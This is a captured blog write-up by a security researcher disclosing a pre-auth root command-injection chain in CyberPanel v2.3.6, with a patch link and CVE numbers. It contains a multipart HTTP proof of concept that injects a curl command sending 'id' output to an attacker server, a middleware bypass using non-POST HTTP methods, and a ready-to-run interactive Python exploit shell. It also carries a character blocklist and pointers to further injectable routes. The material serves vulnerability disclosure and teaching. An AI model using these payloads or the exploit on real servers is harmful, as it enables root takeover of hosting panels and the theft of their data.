dreyand.rs Open in urlscan Pro
172.67.186.146  Public Scan

Submitted URL: https://click.email.sans.org/?qs=25a294476a64e7b96c4704b8d76045e530e49dcc347598c18b7797e7281c51262291dfea8edccb8954ce14dfc3f7...
Effective URL: https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce?is=393a7be63009b544039d1...
Submission: On November 04 via api from RU — Scanned from DE

Form analysis 0 forms found in the DOM

Text Content

DREYAND

WebSec. CTFs. Research.

© 2024

Dark Mode


WHAT ARE MY OPTIONS? CYBERPANEL V2.3.6 PRE-AUTH RCE

Oct 27, 2024
 * Code
 * Review

Few months ago I was assigned to do a pentest on a target running CyberPanel. It
seemed to be installed by default by some VPS providers & it was also sponsored
by Freshworks.

I was clueless on how to pwn the target as the functionalities were very
limited, so I thought about it differently, let’s just find a 0day ¯\_(ツ)_/¯ .

This lead to a 0-click pre-auth root RCE on the latest version (2.3.6 as of
now).It’s currently still “unpatched”, as in, the maintainers have been
notified, a patch has been done but still waiting for the CVE & for the fix to
make the make it to he main release. Update as of October 30, two CVEs have been
assigned:

 * CVE-2024-51567
 * CVE-2024-51568

Along a security announcement from the maintainers.

. You can find the patch commit at
https://github.com/usmannasir/cyberpanel/commit/5b08cd6d53f4dbc2107ad9f555122ce8b0996515
.

I also did a large scale scan on bug bounty programs and a couple hosts were
affected - thanks iustin for helping out!

I feel like this writeup also documents my mental model while auditing various
projects, so if you’re a beginner with a creative mind looking to get started
with code review, I definitely recommend you read this blog.


CODEBASE STRUCTURE:

It’s actually a quite simple Django web-app. It’s actual purpose is to setup
various system services on a VPS (such as FTP, SSH, SMTP, IMAP, etc).

When landing on the main page we’re only greeted with a login functionality, so
it appears like we don’t have much to play with :/



Well, that’s just the top of the iceberg anyways.

As with any Django project, and we should always take a look at how the
framework works before checking the actual project, the pattern is like so:

 * X/urls.py -> this file will contain all the API routes for functionality X.

 * X/views.py-> this file will contain all the Controllers that the routes of
   functionality X map to.

 * X/views -> templates that dynamically generate HTML of the page.

 * X/static -> static files and other bs. …

Since those usually contain the logic for authentication and etc. it was the
first thing I started checking naturally , something that I saw right off the
bat is that they were applying authentication checks for every route one-by-one.

My first questions is - why? You’d expect someone to use an auth middleware or
whatever and not have to buzz himself writting an auth check on every route.

The next thought that came to my mind right after was: “Man, If I was to write
code like this I’d definitely miss checking auth on a couple of routes” - and
yes, that’s exactly what happened here :)


ANALYSIS OF AN N-DAY FOR CODEBASE INSIGHTS:

Usually when I try to get more comfortable with a target, I always read
writeups/exploits/docs of previous bugs and it helps learn about the target so
much.

I noticed the following security release back in 2.3.5 -
https://cyberpanel.net/blog/cyberpanel-v2-3-5

> Authentication Bypass in File Manager’s Upload Functionality: A vulnerability
> in the File Manager upload functionality, caused by a human error, has been
> rectified in version 2.3.5.

 * caused by human error .. heh that doesn’t surprise me.

So it definitely gave me an idea to start analysing this patch to get more inner
info about the codebase.

Let’s take a look at the commit before the patch in filemanager/views.py
https://github.com/usmannasir/cyberpanel/blob/fe3fa850e81db69479e62b5f5bcb7b83ae3488e1/filemanager/views.py:

def upload(request):
    try:

        data = request.POST

        try:

            userID = request.session['userID']
            admin = Administrator.objects.get(pk=userID)
            currentACL = ACLManager.loadedACL(userID)

            if ACLManager.checkOwnership(data['domainName'], admin, currentACL) == 1:
                pass
            else:
                return ACLManager.loadErrorJson()
        except:
            pass

        fm = FM(request, data)
        return fm.upload()

    except KeyError:
        return redirect(loadLoginPage)


If you look closely, there’s two “checks” we’d need to bypass before we reach
fm.upload():

 1. userID = request.session['userID']

 2. admin = Administrator.objects.get(pk=userID)

The first check gets our userId from the Django’s inner session object. The
second on is a call to Django’s ORM to get info whether we’re an admin or not.

Well, to my surprise both of these actually throw an exception, where the first
one tries to access a key that doesn’t exist, and the object.get() just being
default Django ORM behavior:

> If there are no results that match the query, get() will raise a DoesNotExist
> exception.

Welp, we need an un-auth bug, so we will pretty much fail both - however the
code has a clear logical issue since the fm.upload() is outside of the
try/except and will work regardless LOL. Whoever found this had a good pair of
glasses!

Let’s take a look at upload() method:

 def upload(self):
        try:

            finalData = {}
            finalData['uploadStatus'] = 1
            finalData['answer'] = 'File transfer completed.'

            ACLManager.CreateSecureDir()
            UploadPath = '/usr/local/CyberCP/tmp/'

            ## Random file name

            RanddomFileName = str(randint(1000, 9999))

            myfile = self.request.FILES['file']
            fs = FileSystemStorage()

            try:
                filename = fs.save(RanddomFileName, myfile)
                finalData['fileName'] = fs.url(filename)
            except BaseException as msg:
                logging.writeToFile('%s. [375:upload]' % (str(msg)))



            domainName = self.data['domainName']
            try:
                pathCheck = '/home/%s' % (self.data['domainName'])
                website = Websites.objects.get(domain=domainName)

                command = 'ls -la %s' % (self.data['completePath'])
                result = ProcessUtilities.outputExecutioner(command, website.externalApp)
                #
                if result.find('->') > -1:
                    return self.ajaxPre(0, "Symlink attack.")

                if ACLManager.commandInjectionCheck(self.data['completePath'] + '/' + myfile.name) == 1:
                    return self.ajaxPre(0, 'Not allowed to move in this path, please choose location inside home!')

                if (self.data['completePath'] + '/' + myfile.name).find(pathCheck) == -1 or (
                        (self.data['completePath'] + '/' + myfile.name)).find('..') > -1:
                    return self.ajaxPre(0, 'Not allowed to move in this path, please choose location inside home!')

            ... irrelevant code ...


Huh, well, seems like we’re using subprocess to read files now! Good for us I
guess, this is something to note down for later!

You can guess the bug at this point, it’s a simple Command Injection via
completePath via ProcessUtilities.outputExecutioner() sink.

 * Note: It’s not possible (afaik) to do this exploit with domainName since our
   ORM check will fail as described earlier.

I also made a quick PoC, I have no idea if it’s a new variant of the bug since
RCE is not mentioned anywhere, but I suppose the same patch fixes it:

POST /filemanager/upload HTTP/1.1
Host: <target>
Content-Type: multipart/form-data; boundary=----NewBoundary123456789
Cookie: csrftoken=<CSRF-TOKEN>
X-Csrftoken: <CSRF-TOKEN>
Content-Length: 494
Referer: https://<target>:8090/

------NewBoundary123456789
Content-Disposition: form-data; name="domainName"

<target>
------NewBoundary123456789
Content-Disposition: form-data; name="completePath"

; curl -X POST https://<exploit-server> -d "pwn=$(id)"
------NewBoundary123456789
Content-Disposition: form-data; name="file"; filename="poc.txt"

pwn
------NewBoundary123456789--


Anyways, let’s do a TLDR of the knowledge we have so far:

 * Authentication checks are done per-API route via request.session['userID']
   and Django’s ORM.

 * They love piping things to subprocess.

 * They love messing up order of things.

 * They love forgetting things.

 * FYI: Many endpoints just allow you interact with them un-auth by just passing
   userID=1 to the controller. Hope this gives people a hint if they want to
   find more bugs :)


FINDING THE 0DAY:

 * At this point, I used Semgrep to grep out potential interesting pieces of
   code and one of them immediately popped up:

def upgrademysqlstatus(request):
    try:
        data = json.loads(request.body)
        statusfile = data['statusfile']
        installStatus = ProcessUtilities.outputExecutioner("sudo cat " + statusfile)

        if installStatus.find("[200]") > -1:

            command = 'sudo rm -f ' + statusfile
            ProcessUtilities.executioner(command)

            final_json = json.dumps({
                'error_message': "None",
                'requestStatus': installStatus,
                'abort': 1,
                'installed': 1,
            })
            return HttpResponse(final_json)
        elif installStatus.find("[404]") > -1:
            command = 'sudo rm -f ' + statusfile
            ProcessUtilities.executioner(command)
            final_json = json.dumps({
                'abort': 1,
                'installed': 0,
                'error_message': "None",
                'requestStatus': installStatus,
            })
            return HttpResponse(final_json)

        else:
            final_json = json.dumps({
                'abort': 0,
                'error_message': "None",
                'requestStatus': installStatus,
            })
            return HttpResponse(final_json)
    except KeyError:
        return redirect(loadLoginPage)


WHAT? This just has no authentication checks & it was added in a very recent
commit? Someone must’ve missed it or else it wouldn’t be so easy.

Let’s try trigger a PoC for this:

Huh.. since when is there a filter for malicious characters? Welp, they actually
did think of implementing a middleware, a security one as well called
secMiddleware :O .


BYPASSING THE SECMIDDLEWARE:

The code is a bit lengthy, so I’ll attach a shortened version:

class secMiddleware:
    HIGH = 0
    LOW = 1

    def get_client_ip(request):
        ip = request.META.get('HTTP_CF_CONNECTING_IP')
        if ip is None:
            ip = request.META.get('REMOTE_ADDR')
        return ip

    def __init__(self, get_response):
        self.get_response = get_response

    ...
    if request.method == 'POST':
                try:

                    # logging.writeToFile(request.body)
                    data = json.loads(request.body)
                    for key, value in data.items():
                        if request.path.find('gitNotify') > -1:
                            break
                        if type(value) == str or type(value) == bytes:
                            pass
                        elif type(value) == list:
                            for items in value:
                                if items.find('- -') > -1 or items.find('\n') > -1 or items.find(';') > -1 or items.find(
                                        '&&') > -1 or items.find('|') > -1 or items.find('...') > -1 \
                                        or items.find("`") > -1 or items.find("$") > -1 or items.find(
                                    "(") > -1 or items.find(")") > -1 \
                                        or items.find("'") > -1 or items.find("[") > -1 or items.find(
                                    "]") > -1 or items.find("{") > -1 or items.find("}") > -1 \
                                        or items.find(":") > -1 or items.find("<") > -1 or items.find(
                                    ">") > -1 or items.find("&") > -1:
                                    logging.writeToFile(request.body)
                                    final_dic = {
                                        'error_message': "Data supplied is not accepted, following characters are not allowed in the input ` $ & ( ) [ ] { } ; : ‘ < >.",
                                        "errorMessage": "Data supplied is not accepted, following characters are not allowed in the input ` $ & ( ) [ ] { } ; : ‘ < >."}
                                    final_json = json.dumps(final_dic)
                                    return HttpResponse(final_json)
                        else:
                            continue

...

        response = self.get_response(request)

        response['X-XSS-Protection'] = "1; mode=block"
        response['X-Frame-Options'] = "sameorigin"
        response['Content-Security-Policy'] = "script-src 'self' https://www.jsdelivr.com"
        response['Content-Security-Policy'] = "connect-src *;"
        response[
            'Content-Security-Policy'] = "font-src 'self' 'unsafe-inline' https://www.jsdelivr.com https://fonts.googleapis.com"
        response[
            'Content-Security-Policy'] = "style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.jsdelivr.com https://cdnjs.cloudflare.com https://maxcdn.bootstrapcdn.com https://cdn.jsdelivr.net"
        # response['Content-Security-Policy'] = "default-src 'self' cyberpanel.cloud *.cyberpanel.cloud"
        response['X-Content-Type-Options'] = "nosniff"
        response['Referrer-Policy'] = "same-origin"
        return response
             


At this point I started fuzzing for all sorts of characters+tricks that will
allow me to sneak in another command past this endpoint, though to no avail.

So as with our n-day, I started approaching this logically, where I found a
funny bypass, which requires just a little bit of creativity and no actual
knowledge about crazy linux shenanigans that can help you here.

If you take a look at the middleware, it does the command injection checks only
if the request method is POST, however, if you look at our upgrademysqlstatus()
route the POST data is loaded via json.loads(request.body).

If we take a look at the docs for the body property in Django we can see the
following:

> The raw HTTP request body as a bytestring. This is useful for processing data
> in different ways than conventional HTML forms: binary images, XML payload
> etc. For processing conventional form data, use HttpRequest.POST.

Can you notice the differential here? The body will be sent irregardless of the
HTTP method/verb in question.

Which means, that we can just do an OPTIONS/PUT/PATCH and etc as the HTTP method
and bypass the security middleware completely LOL?

Yup… we can:



Easy pre-auth RCE with root privileges :D (which makes sense considering this
project is used to manage all the services on the system).


EXPLOIT:

I wrote a quick interactive exploit for the “0day” that you can use, enjoy!

import httpx 
import sys 

def get_CSRF_token(client):
    resp = client.get("/")
    
    return resp.cookies['csrftoken']
    
def pwn(client, CSRF_token, cmd):
    headers = {
        "X-CSRFToken": CSRF_token,
        "Content-Type":"application/json",
        "Referer": str(client.base_url)
    }
    
    payload = '{"statusfile":"/dev/null; %s; #","csrftoken":"%s"}' % (cmd, CSRF_token)
    
    return client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload).json()["requestStatus"]
    
def exploit(client, cmd):
    CSRF_token = get_CSRF_token(client)
    stdout = pwn(client, CSRF_token, cmd)
    print(stdout)
    
if __name__ == "__main__":
    target = sys.argv[1]
    
    client = httpx.Client(base_url=target, verify=False)
    while True:
        cmd = input("$> ")

        exploit(client, cmd)




You can also grab the files over at my Github.


CHALLENGE:

Hope you had a fun time reading this writeup :)

Since you’ve already came this far, I’m giving you a challenge to even find your
own bug here:

 1. My friend found another variant of this exact bug, can you do it? (solvable)

 2. This one is more so if you want to find another 0day, check out the
    restoreStatus route:
    
    def restoreStatus(self, data=None):
        try:
            backupFile = data['backupFile'].strip(".tar.gz")
        
            path = os.path.join("/home", "backup", data['backupFile'])
        
            if os.path.exists(path):
                path = os.path.join("/home", "backup", backupFile)
            elif os.path.exists(data['backupFile']):
                path = data['backupFile'].strip(".tar.gz")
            else:
                dir = data['dir']
                path = "/home/backup/transfer-" + str(dir) + "/" + backupFile
        
            if os.path.exists(path):
                try:
                    execPath = "sudo cat " + path + "/status"
                    status = ProcessUtilities.outputExecutioner(execPath)
    
    
    It seems like another straightforward command injection case - the issue
    here is that os.path.exists needs to return True, while the path would still
    somehow contain the command injection payload. We probably need an arbitrary
    file creation gadget. (Yes, I’m aware of the os.path.join trick in Python,
    and no, it does not help here.)

 3. There seems to be a similar case in backupStatus:
    
    def backupStatus(self, userID=None, data=None):
        try:
            backupDomain = data['websiteToBeBacked']
            status = os.path.join("/home", backupDomain, "backup/status")
            backupFileNamePath = os.path.join("/home", backupDomain, "backup/backupFileName")
            pid = os.path.join("/home", backupDomain, "backup/pid")
        
            domain = Websites.objects.get(domain=backupDomain)
        
            ## read file name
            try:
                command = "sudo cat " + backupFileNamePath
                fileName = ProcessUtilities.outputExecutioner(command, domain.externalApp)
                if fileName.find('No such file or directory') > -1:
                    final_json = json.dumps({'backupStatus': 0, 'error_message': "None", "status": 0, "abort": 0})
                    return HttpResponse(final_json)
            except:
    
    
    Though here the only issue is that we get our ORM exception if backupDomain
    doesn’t exist. Requires a website/filename creation bug again.

Good luck!


Please enable JavaScript to view the comments powered by Disqus.

© 2024

Dark Mode